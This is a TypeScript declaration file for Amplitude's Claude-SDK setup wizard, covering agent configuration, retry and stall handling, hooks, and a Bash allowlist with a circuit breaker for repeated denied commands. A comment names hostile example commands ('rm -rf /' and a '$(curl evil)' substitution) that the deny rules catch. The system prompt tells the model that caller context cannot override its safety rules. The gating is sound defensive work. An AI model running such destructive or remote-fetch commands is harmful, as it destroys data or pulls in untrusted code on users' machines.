/**
 * Shared agent interface for Amplitude wizards
 * Uses Claude Agent SDK directly with Amplitude LLM gateway
 */
import { type SpinnerHandle } from '../ui';
import type { WizardOptions } from '../utils/types';
import { type AdditionalFeature } from './wizard-session';
import { AgentState } from './agent-state';
import type { PackageManagerDetector } from './package-manager-detection';
import type { SDKMessage } from './middleware/types';
import { type HookCallback } from './agent-hooks';
type McpServersConfig = Record<string, unknown>;
export declare const AgentSignals: {
    /**
     * Signal emitted when the agent provides a remark about its run.
     * Kept as a text marker because it bookends a multi-line reflection that
     * the model writes into its final message; structured tool-call routing
     * doesn't fit the free-form nature of the reflection payload.
     */
    readonly WIZARD_REMARK: "[WIZARD-REMARK]";
    /** Signal prefix for benchmark logging */
    readonly BENCHMARK: "[BENCHMARK]";
};
export type AgentSignal = (typeof AgentSignals)[keyof typeof AgentSignals];
/**
 * Error types that can be returned from agent execution.
 * These correspond to the error signals that the agent emits.
 */
export declare enum AgentErrorType {
    /** Agent could not access the Amplitude MCP server */
    MCP_MISSING = "WIZARD_MCP_MISSING",
    /** Agent could not access the setup resource */
    RESOURCE_MISSING = "WIZARD_RESOURCE_MISSING",
    /** API rate limit exceeded */
    RATE_LIMIT = "WIZARD_RATE_LIMIT",
    /** Generic API error */
    API_ERROR = "WIZARD_API_ERROR",
    /** Authentication failed — bearer token invalid or expired */
    AUTH_ERROR = "WIZARD_AUTH_ERROR",
    /**
     * Every retry attempt failed with the same upstream-gateway signature
     * (400 terminated / DEADLINE_EXCEEDED). Indicates the Amplitude LLM
     * gateway or its Vertex backend is unhealthy — not a wizard bug. The
     * runner surfaces a specific actionable message including the
     * ANTHROPIC_API_KEY bypass workaround.
     */
    GATEWAY_DOWN = "WIZARD_GATEWAY_DOWN"
}
/** Parse AMPLITUDE_WIZARD_MAX_TURNS as a positive integer within the sanity
 * bound. Falls back to the default on any invalid value (empty, non-numeric,
 * zero, negative, or larger than {@link MAX_TURNS_SANITY_BOUND}) so bad env
 * state can't DoS the agent. */
export declare function resolveMaxTurns(envValue?: string | undefined): number;
/**
 * Map a `WizardMode` to a Claude model alias. Internal — see
 * `docs/internal/agent-mode-flag.md` for the full mapping and rationale.
 *
 * The Amplitude LLM gateway expects the `anthropic/<alias>` prefix; the
 * direct Anthropic API expects the bare alias. The wizard's `fallbackModel`
 * is a different model on a different routing path, so a tier the gateway
 * doesn't currently vend silently degrades rather than failing the run.
 *
 * Exported so unit tests can pin the mapping without standing up the
 * full agent runtime.
 */
export declare function selectModel(mode: import('../utils/types').WizardMode, useDirectApiKey: boolean): string;
export type AgentConfig = {
    workingDirectory: string;
    amplitudeMcpUrl: string;
    amplitudeApiKey: string;
    amplitudeBearerToken: string;
    amplitudeApiHost: string;
    additionalMcpServers?: Record<string, {
        url: string;
    }>;
    detectPackageManager: PackageManagerDetector;
    /** Feature flag key -> variant (evaluated at start of run). */
    wizardFlags?: Record<string, string>;
    wizardMetadata?: Record<string, string>;
    /** When true, omit the amplitude-wizard MCP server (e.g. for generic/quickstart path). */
    skipAmplitudeMcp?: boolean;
    /** Remote skills URL. When set, skills are downloaded instead of using bundled copies. */
    skillsBaseUrl?: string;
    /**
     * Internal agent model tier — see `docs/internal/agent-mode-flag.md`.
     * Threaded from `WizardSession.mode` via `agent-runner.ts`.
     * Undefined defaults to `'standard'` (the wizard's default model).
     */
    mode?: import('../utils/types').WizardMode;
    /**
     * UUID v4 that groups all `/v1/messages` calls in this wizard run into one
     * Agent Analytics session. Sourced from `WizardSession.agentSessionId`,
     * forwarded to the Amplitude LLM gateway as the `x-amp-wizard-session-id`
     * header (via `ANTHROPIC_CUSTOM_HEADERS`). Without this, the proxy falls back
     * to a per-token-hash session ID, which collapses every wizard run a user
     * ever does into a single session.
     */
    agentSessionId?: string;
    /**
     * Whether the active framework targets the browser. Mirrors
     * `FrameworkConfig.metadata.targetsBrowser`. Used to gate browser-only
     * commandment blocks (autocapture defaults, browser SDK init template)
     * so mobile/server/generic runs don't carry that content in their
     * system prompt every turn. Undefined = treat as non-browser.
     */
    targetsBrowser?: boolean;
    /**
     * Free-form context the outer orchestrator wants prepended to every
     * turn. Sourced from `WizardSession.orchestratorContext` (which the
     * CLI populates from `--context-file <path>` /
     * `AMPLITUDE_WIZARD_CONTEXT`). Threaded through to `AgentRunConfig`
     * so the systemPrompt builder can append it after the commandments.
     * Undefined / empty when no context was provided.
     */
    orchestratorContext?: string;
};
/**
 * Maximum number of seconds the agent may sleep in a single Bash call.
 *
 * Long sleeps are the proximate cause of "API Error: 400 terminated" cascades:
 * the agent emits a Bash tool_use that idles the upstream API streaming
 * connection. The Amplitude LLM gateway / Vertex closes idle streams after
 * ~30s, the next API call returns 400, and the agent escalates by sleeping
 * even longer (3s → 5s → 10s → 30s → 60s) trying to "wait for MCP recovery".
 *
 * Capping at 5s keeps short, legitimate pauses (e.g. waiting for a brief
 * dev-server boot) working while breaking the runaway sleep loop.
 */
export declare const MAX_BASH_SLEEP_SECONDS = 5;
/**
 * Returns true when an SDK message is the "I'm about to wait on the
 * upstream API" envelope rather than actual progress.
 *
 * The Claude Agent SDK emits `system { subtype: 'status', status:
 * 'requesting' }` immediately *before* it sends a request to the model
 * — it means "request issued, now waiting for the first byte." It is
 * NOT model output, NOT tool output, and NOT an SDK retry. Treating it
 * as progress (resetting the stall timer when it arrives) masks
 * gateway hangs: when the upstream goes silent, the timer was just
 * reset to its full window from a non-event, so users wait the full
 * STALL_TIMEOUT_MS past when the upstream actually hung.
 *
 * Other `system` subtypes (`init`, `api_retry`, `compact_boundary`,
 * etc.) ARE real progress events — keep treating them as resets.
 *
 * Exported so unit tests can pin the classification without spinning
 * up the full agent runtime.
 */
export declare function isStallNonProgressMessage(rawMessage: unknown): boolean;
/**
 * Build the `systemPrompt.append` string the inner-agent SDK passes to
 * Claude every turn. Concatenates wizard-wide commandments with the
 * optional orchestrator-supplied context block, in that order:
 *
 *   1. `commandments` — hard safety rules (no secrets, no shell-eval,
 *      mandatory `confirm_event_plan` before track() writes, etc.).
 *      First-position so the model treats them as load-bearing.
 *   2. `orchestratorContext` — soft, project-specific guidance the
 *      caller injected via `--context-file` /
 *      `AMPLITUDE_WIZARD_CONTEXT`. Wrapped in a labeled `## ...` block
 *      so the model can distinguish wizard-managed instructions from
 *      caller-supplied ones, and explicitly told NOT to override the
 *      safety rules above.
 *
 * Extracted from the inline ternary inside `runAgent` so unit tests
 * can lock the prompt-shape contract (whitespace, header, ordering)
 * without spinning up the full agent pipeline.
 */
export declare function buildSystemPromptAppend(args: {
    commandments: string;
    orchestratorContext?: string | null;
}): string;
/**
 * Number of consecutive 401 / auth-flavored `api_retry` system messages from
 * the Claude Agent SDK we'll tolerate before aborting the query and surfacing
 * AUTH_ERROR. The SDK's default retry policy hammers a 401 ~10 times with
 * exponential backoff (~3 min total) — but a 401 won't recover mid-run, so
 * we cut the storm short and show the user a clear failure + manual-signup
 * fallback instead of a stuck spinner.
 */
export declare const AUTH_RETRY_LIMIT = 2;
/**
 * Hard ceiling on consecutive Bash denies before the circuit breaker trips.
 * See `createPreToolUseHook` for behavior.
 *
 * Sized for one false-start + one allowed-tools nudge from the deny copy +
 * a 3x grace margin. A run that hits this is in the failure mode the user
 * reported: agent thrashing on a denied command, ignoring the prompt-side
 * "DO NOT retry" guidance. The breaker invokes a tripped-callback (wired
 * to `wizardAbort` by `agent-runner`) so the run halts instead of burning
 * 47 turns.
 *
 * Counter scope is per-hook-instance and resets on any allowed Bash call —
 * a deny → success → deny sequence does NOT count as 2 consecutive denies.
 */
export declare const MAX_CONSECUTIVE_BASH_DENIES = 5;
/**
 * Returns true if `serialized` (typically a JSON-stringified SDK result
 * message) contains any known auth-error pattern. Exported for unit tests.
 */
export declare function isAuthErrorMessage(serialized: string): boolean;
/**
 * Matches the SDK's known-benign hook-bridge-race stderr line. The
 * claude-code subprocess emits this when an aborted/teardown-pending
 * `query()` still has in-flight tool calls — each call invokes the
 * registered hook (PreToolUse / Stop / UserPromptSubmit / PreCompact,
 * indexed in registration order) over a now-closed IPC bridge.
 *
 * Already retried-and-recovered upstream (see `drainPriorResponse`
 * + the `'Stream closed'` arm of the transient-error retry list in
 * `runAgent`). The stderr handler filters lines matching this pattern
 * and logs a one-line suppression count at attempt boundary; everything
 * else (genuine subprocess crashes, MCP server stderr, etc.) still
 * flows through.
 *
 * Anchored with `^...$` so a chunk containing both a race line AND a
 * genuine error keeps the genuine error — the partition helper splits
 * chunks line-by-line before testing.
 *
 * Exported for unit tests. See issue #297.
 */
export declare const HOOK_BRIDGE_RACE_RE: RegExp;
/**
 * Splits a raw stderr chunk into the count of suppressed
 * hook-bridge-race lines and the remaining text that should still be
 * logged.
 *
 * Why partition instead of `regex.test(data) → return`: the SDK's
 * stderr callback receives raw byte chunks from the subprocess pipe.
 * Multiple stderr writes can be batched into a single chunk, so a
 * chunk-level match would drop genuine errors riding alongside the
 * race-line noise. We split on `\n`, suppress only matching lines,
 * and reconstruct the rest preserving the original chunk's trailing
 * newline behavior.
 *
 * Exported for unit tests.
 */
export declare function partitionHookBridgeRace(data: string): {
    suppressed: number;
    passthrough: string;
};
/**
 * True if `line` is Anthropic stream-event protocol noise. Matches both
 * bare JSON (`{"type":"content_block_delta",...}`) and raw SSE framing
 * (`event: content_block_delta` / `data: {"type":"content_block_delta",...}`).
 * `JSON.parse` only succeeds on complete lines, so the prefix check is the
 * primary defense against partial-line chunks. Exported for unit tests.
 */
export declare function looksLikeStreamEventLine(line: string): boolean;
/**
 * Strip stream-event protocol lines from a raw chunk while preserving
 * everything else (and the chunk's trailing-newline behavior). Mirrors
 * `partitionHookBridgeRace`: chunk-level filtering would drop genuine
 * errors that happened to ride alongside protocol noise in the same
 * batched stderr write, so we split on `\n`, drop only matching lines,
 * and reconstruct. Exported for unit tests.
 */
export declare function stripStreamEventNoise(data: string): {
    suppressed: number;
    passthrough: string;
};
/**
 * Build a PreToolUse hook that enforces wizard Bash safety.
 *
 * Why this exists: the Claude Agent SDK runs with
 * `tools: { type: 'preset', preset: 'claude_code' }` and
 * `permissionMode: 'acceptEdits'`. In that configuration, `canUseTool` is
 * NOT invoked for the built-in `Bash` tool — only for MCP tools. Logs from
 * production runs confirm zero `canUseTool` entries for Bash even though
 * `wizardCanUseTool` is wired into options.
 *
 * PreToolUse hooks fire unconditionally for every tool, so this is the
 * authoritative place to gate Bash. We delegate the canonical allowlist
 * to `wizardCanUseTool` and additionally cap `sleep <N>` to
 * MAX_BASH_SLEEP_SECONDS to break the 400-terminated sleep cascade.
 *
 * On top of the gate, the hook tracks consecutive Bash denies and trips a
 * circuit breaker after MAX_CONSECUTIVE_BASH_DENIES. Prompt-side guidance
 * ("DO NOT retry") reduces the rate of looping but doesn't eliminate it —
 * a user reported a 47-turn loop on the same denied command. The breaker
 * is the belt-and-suspenders enforcement that fires when the model ignores
 * the prompt anyway. Trip callback is one-shot per hook instance; the
 * counter resets on any allowed Bash call so legitimate deny → recover
 * sequences don't trip falsely.
 */
export interface PreToolUseHookOptions {
    /**
     * Invoked exactly once per hook instance, when consecutive Bash denies
     * reach MAX_CONSECUTIVE_BASH_DENIES. Caller should treat as a terminal
     * signal (e.g. trigger `wizardAbort`). Synchronous throws from this
     * callback are swallowed; async failures are the caller's responsibility.
     */
    onCircuitBreakerTripped?: (info: {
        consecutiveDenies: number;
        lastCommand: string;
        lastDenyReason: string;
    }) => void;
}
export declare function createPreToolUseHook(options?: PreToolUseHookOptions): HookCallback;
/**
 * Create a stop hook callback that drains the additional feature queue,
 * then collects a remark, then allows stop.
 *
 * Three-phase logic using closure state:
 *   Phase 1 — drain queue: block with each feature prompt in order
 *   Phase 2 — collect remark (once): block with remark prompt
 *   Phase 3 — allow stop: return {}
 *
 * If `isAuthError()` returns true, all phases are skipped and stop is
 * allowed immediately — the agent cannot respond when auth has failed.
 *
 * `progress` hooks let the TUI render queued features as task items:
 * `onFeatureStart` fires when a feature is dequeued; `onFeatureComplete`
 * fires when the next stop signal arrives (i.e. the agent finished it).
 */
export declare function createStopHook(getFeatureQueue: () => readonly AdditionalFeature[], isAuthError?: () => boolean, progress?: {
    onFeatureStart?: (feature: AdditionalFeature) => void;
    onFeatureComplete?: (feature: AdditionalFeature) => void;
}): HookCallback;
/**
 * Builds a PreCompact hook callback that fires just before the SDK compacts
 * the conversation history. The callback is purely observational — the SDK
 * does not let us alter the compacted summary — but firing here gives us:
 *
 *   1. Crash safety: persists the latest wizard checkpoint so a compaction
 *      crash doesn't leave the user without a resumable state.
 *   2. Diagnostics: file-log + analytics every compaction, with the trigger
 *      ('manual' | 'auto'), so we can correlate "agent forgot something"
 *      reports with actual compactions.
 *
 * The handler is wrapped in try/catch — a hook that throws would otherwise
 * abort the compaction and tank the run.
 */
export declare function createPreCompactHook(handler: (input: {
    trigger: 'manual' | 'auto';
}) => void): HookCallback;
/**
 * Factory: UserPromptSubmit hook — hydrates recovery context after a
 * compaction.
 *
 * If a PreCompact snapshot exists at `state.snapshotPath()`, the hook
 * consumes it (reads + deletes) and returns `additionalContext` that
 * prepends a short recovery note listing modified files and the last
 * status. The snapshot is deleted so hydration fires at most once per
 * compaction cycle.
 *
 * When no snapshot exists (first turn, or no compaction has happened) the
 * hook is a no-op and returns `{}` so the SDK uses the prompt unchanged.
 */
export declare function createUserPromptSubmitHook(state: AgentState): HookCallback;
/**
 * Factory: PostToolUse hook — records the file path of every successful
 * write-tool call (Write / Edit / MultiEdit / NotebookEdit) into the
 * provided AgentState. The recovery snapshot persisted by `createPreCompactHook`
 * relies on this list so the post-compaction UserPromptSubmit hydration
 * can tell the model which files it has already modified in the run.
 *
 * Wrapped in try/catch — a throwing hook would otherwise tank the run.
 * No-op for non-write tools.
 */
export declare function createPostToolUseHook(state: AgentState): HookCallback;
/**
 * Configuration object returned by initializeAgent / getAgent.
 */
export type AgentRunConfig = {
    workingDirectory: string;
    mcpServers: McpServersConfig;
    model: string;
    wizardFlags?: Record<string, string>;
    wizardMetadata?: Record<string, string>;
    /** When true, bypass the Amplitude gateway and run via the local `claude` CLI. */
    useLocalClaude?: boolean;
    /** When true, ANTHROPIC_API_KEY is passed through to the SDK instead of the gateway. */
    useDirectApiKey?: boolean;
    /**
     * Per-wizard-run UUID forwarded to the gateway as `x-amp-wizard-session-id`.
     * Groups all `/v1/messages` calls in this run into one Agent Analytics session.
     */
    agentSessionId?: string;
    /**
     * Whether the active framework targets the browser. Threaded from
     * `AgentConfig.targetsBrowser` so `runAgent` can ask `commandments.ts`
     * for browser-specific guidance only when relevant.
     */
    targetsBrowser?: boolean;
    /**
     * Free-form context the orchestrator wants prepended to every turn.
     * Sourced from `--context-file <path>` (or `AMPLITUDE_WIZARD_CONTEXT`
     * env var) — lets a parent agent inject team conventions ("we use
     * snake_case for events", "always prefer Stripe events over generic
     * checkout events", existing taxonomy snippets) WITHOUT modifying any
     * skill content. Appended to `commandments.ts` output so it lands
     * in the cached system-prompt block.
     *
     * Truncated upstream at the CLI boundary; this string is the
     * already-validated payload. Empty / undefined when no context was
     * provided.
     */
    orchestratorContext?: string;
};
/**
 * Select wizard metadata from WIZARD_VARIANTS using the variant feature flag.
 * If the flag is missing or the value is not in config, returns the "base" variant (VARIANT: "base").
 */
export declare function buildWizardMetadata(flags?: Record<string, string>): Record<string, string>;
/**
 * Header forwarded to the Amplitude LLM gateway to group all `/v1/messages`
 * calls from a single wizard run into one Agent Analytics session.
 *
 * The proxy (thunder/wizard-proxy) reads this header and uses it as the
 * `agentSessionId`. Without it, the proxy falls back to a deterministic
 * session ID derived from the auth token hash — which collapses every
 * wizard run a user ever does into the same session.
 */
export declare const WIZARD_SESSION_ID_HEADER = "x-amp-wizard-session-id";
/**
 * Build env for the SDK subprocess: process.env plus ANTHROPIC_CUSTOM_HEADERS
 * from wizard metadata, feature flags, and the per-run session ID.
 *
 * Exported for unit testing.
 */
export declare function buildAgentEnv(wizardMetadata: Record<string, string>, wizardFlags: Record<string, string>, agentSessionId?: string): string;
import { parseEventPlanContent } from './event-plan-parser.js';
export { parseEventPlanContent };
/**
 * Check if command is a Amplitude skill installation from MCP.
 * We control the MCP server, so we only need to verify:
 * 1. It installs to .claude/skills/
 * 2. It downloads from our GitHub releases or localhost (dev)
 */
export declare function isSkillInstallCommand(command: string): boolean;
/**
 * Check if command is an allowed package manager command.
 * Matches: <pkg-manager> [run|exec] <safe-script> [args...]
 */
export declare function matchesAllowedPrefix(command: string): boolean;
/**
 * Recognize the "background a package install + report PID" shell idiom
 * the wizard commandments instruct agents to use. Returns true ONLY when
 * the command matches one of:
 *
 *   <pkg-mgr> <safe-script> [args...] [2>&1] &
 *   <pkg-mgr> <safe-script> [args...] [2>&1] & echo "..."
 *   <pkg-mgr> <safe-script> [args...] [2>&1] &\necho "..."
 *
 * Where `<pkg-mgr> <safe-script>` is the same allowlist `matchesAllowedPrefix`
 * accepts (pnpm/npm/yarn/bun + add/install/etc.).
 *
 * The base command is checked for any other chaining/dangerous operators
 * before we approve, so commands like `pnpm add foo; rm -rf /` or
 * `pnpm add foo $(curl evil) &` still get caught by the deny rules below.
 */
export declare function isSafeBackgroundedInstall(command: string): boolean;
/**
 * Shrink large tool I/O before writing to the structured log file (every
 * `canUseTool` hit can carry multi‑KB MCP payloads).
 */
export declare function redactToolLogPayload(value: unknown): unknown;
/**
 * Permission hook that allows only safe commands.
 * - Package manager install commands
 * - Build/typecheck/lint commands for verification
 * - Piping to tail/head for output limiting is allowed
 * - Stderr redirection (2>&1) is allowed
 * - Amplitude skill installation commands from MCP
 * - Backgrounded package installs (`<pkg-mgr> add foo 2>&1 & echo "..."`)
 */
export declare function wizardCanUseTool(toolName: string, input: Record<string, unknown>): {
    behavior: 'allow';
    updatedInput: Record<string, unknown>;
} | {
    behavior: 'deny';
    message: string;
};
/**
 * Initialize agent configuration for the LLM gateway
 */
export declare function initializeAgent(config: AgentConfig, options: WizardOptions): Promise<AgentRunConfig>;
/**
 * Return the already-initialized agent config, or call initializeAgent to create it.
 * Concurrent calls during initialization share the same Promise.
 * On error the cached Promise is cleared so the next call retries.
 *
 * Omitting config/options reads the bearer token from ~/.ampli.json and uses production
 * defaults (MCP disabled if no token found, cwd as working directory).
 */
export declare function getAgent(config?: AgentConfig, options?: WizardOptions): Promise<AgentRunConfig>;
/**
 * Run the agent by spawning the user's local `claude` CLI with --continue.
 * Used when no Amplitude API key is present (local development).
 * Streams stdout line-by-line and forwards text to the spinner.
 */
export declare function runAgentLocally(prompt: string, workingDirectory: string, spinner: SpinnerHandle, successMessage: string, errorMessage: string): Promise<{
    error?: AgentErrorType;
    message?: string;
}>;
/**
 * Execute an agent with the provided prompt and options
 * Handles the full lifecycle: spinner, execution, error handling
 *
 * @returns An object containing any error detected in the agent's output
 */
export declare function runAgent(agentConfig: AgentRunConfig, prompt: string, options: WizardOptions, spinner: SpinnerHandle, config?: {
    estimatedDurationMinutes?: number;
    spinnerMessage?: string;
    successMessage?: string;
    errorMessage?: string;
    additionalFeatureQueue?: () => readonly AdditionalFeature[];
    onFeatureStart?: (feature: AdditionalFeature) => void;
    onFeatureComplete?: (feature: AdditionalFeature) => void;
    /**
     * Fires just before the SDK compacts the conversation. Use to persist
     * crash-recovery state and emit analytics. Wrapped in try/catch by the
     * hook factory — a throwing handler will not abort the compaction.
     */
    onPreCompact?: (input: {
        trigger: 'manual' | 'auto';
    }) => void;
    /**
     * Fires once per run when the PreToolUse circuit breaker trips —
     * MAX_CONSECUTIVE_BASH_DENIES consecutive Bash denies have accumulated.
     * Treat as a terminal signal: trigger graceful run halt
     * (e.g. `wizardAbort`) so the agent doesn't keep burning turns on a
     * command that will never be allowed.
     */
    onCircuitBreakerTripped?: (info: {
        consecutiveDenies: number;
        lastCommand: string;
        lastDenyReason: string;
    }) => void;
}, middleware?: {
    onMessage(message: SDKMessage): void;
    finalize(resultMessage: SDKMessage, totalDurationMs: number): unknown;
}): Promise<{
    error?: AgentErrorType;
    message?: string;
    plannedEvents?: Array<{
        name: string;
        description: string;
    }>;
}>;
/**
 * Sniff a single SDK message for discovery-shaped tool calls / results
 * (package manager probe, env-key probe, which skill loaded) and stash a
 * compact summary into the supplied AgentState. The retry path reads
 * those summaries via `buildRetryHint` to skip redundant probes on
 * attempt N+1.
 *
 * Strategy:
 *   - assistant.tool_use: bump per-tool counters (used for diagnostics).
 *   - user.tool_result: extract the relevant signal for our cache list.
 *
 * The set of tools we care about is intentionally narrow — these are the
 * cold-start probes that dominate the early seconds of a run. Adding more
 * here grows the retry-hint block, which costs prompt tokens; bias toward
 * "would skipping this tool call save more than the hint costs?".
 *
 * Exported for unit tests.
 */
export declare function captureDiscoveryFromMessage(message: SDKMessage, state: AgentState): void;
